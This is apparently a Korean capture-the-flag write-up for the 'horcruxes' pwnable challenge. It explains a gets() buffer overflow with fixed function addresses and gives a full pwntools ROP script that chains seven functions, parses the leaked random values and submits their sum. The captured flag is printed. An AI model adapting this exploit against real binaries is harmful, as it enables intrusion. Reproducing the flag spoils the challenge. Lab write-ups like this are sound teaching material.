scp로 바이너로 빼고 ida로 디스어셈블 하면

위와 같은 함수를 볼 수 있다.
/dev/random을 통해 생성한 7개의 random 값을 전부 더한 변수 sum을 입력하면 flag를 준다.
그리고 7개의 함수 A~G가 있는데, 각각 7개의 random 값 중 하나를 출력해준다.
함수에 ASLR이 걸려 있지 않기 때문에 함수의 주소는 고정이고, gets 함수의 존재로 인해 bof가 가능하다.
return address를 덮어 씌워 chain시키면 A~G 함수까지 전부 다 순회할 수 있다.
그리고 runtime 내에 random값을 계산하고 입력해야 하기 때문에 마지막 가젯으로 call ropme 명령어의 주소를 추가하여, ropme에서 return해도 프로세스 종료가 아닌 A~G 순회 후 다시 입력값을 받는 곳으로 가도록 하였다.
그리고 recvall으로 A~G 함수를 순회하며 문자열 사이에 끼인 random 값들을 정규표현식을 적절히 활용하여 파싱하였고 최종적으로 더해주었다.
from pwn import *
import re
#p = process("./horcruxes")
p = remote('0', 9032)
a = 0x804129D
b = 0x80412CF
c = 0x8041301
d = 0x8041333
e = 0x8041365
f = 0x8041397
g = 0x80413C9
ropme = 0x080414f9
bufA = 0x804400C
p.sendline(b"1")
payload = b'A' * (0x74)
payload += b'A' * 4
payload += p32(a)
payload += p32(b)
payload += p32(c)
payload += p32(d)
payload += p32(e)
payload += p32(f)
payload += p32(g)
payload += p32(ropme)
p.sendline(payload)
text = p.recvuntil(b"Menu:")
text = p.recvuntil(b"Menu:")
print(text)
text = text.decode('utf-8', errors='ignore')
nums = re.findall(r'\(EXP\s*([+-]+\d+)\)', text)
cleaned = []
for n in nums:
if n.startswith('+-'):
cleaned.append(n[1:])
else:
cleaned.append(n.lstrip('+'))
ints = [int(x) for x in cleaned]
sum = 0
for i in ints:
sum += i
print (int(sum))
print (ints)
p.sendline("1")
p.recvuntil(b"earned? : ")
p.sendline(str((sum)))
print(p.recvall(timeout=2))
근데 sum 값이 int 범위를 벗어나면 flag를 안준다.
그래도 높은 확률로 flag를 얻을 수 있다.

The_M4gic_sp3l1_is_Avada_Ked4vra
ROP의 원리에 대해 복습해보면
ret 명령어는 스택 제일 위에 있는 값을 pop을 통해 가져오고, 그 값을 RIP로 삼는다.
연속적으로 주소를 덮어쓰면, 함수 또는 가젯 제일 마지막에 ret이 또 있기 때문에
return 후 다음에 적인 리턴 주소 값을 pop하게 되며, 계속해서 밑에 있는 값들을 가리키고 가져오는 것을
반복하게 되어 chaining이 가능해지는 것이다.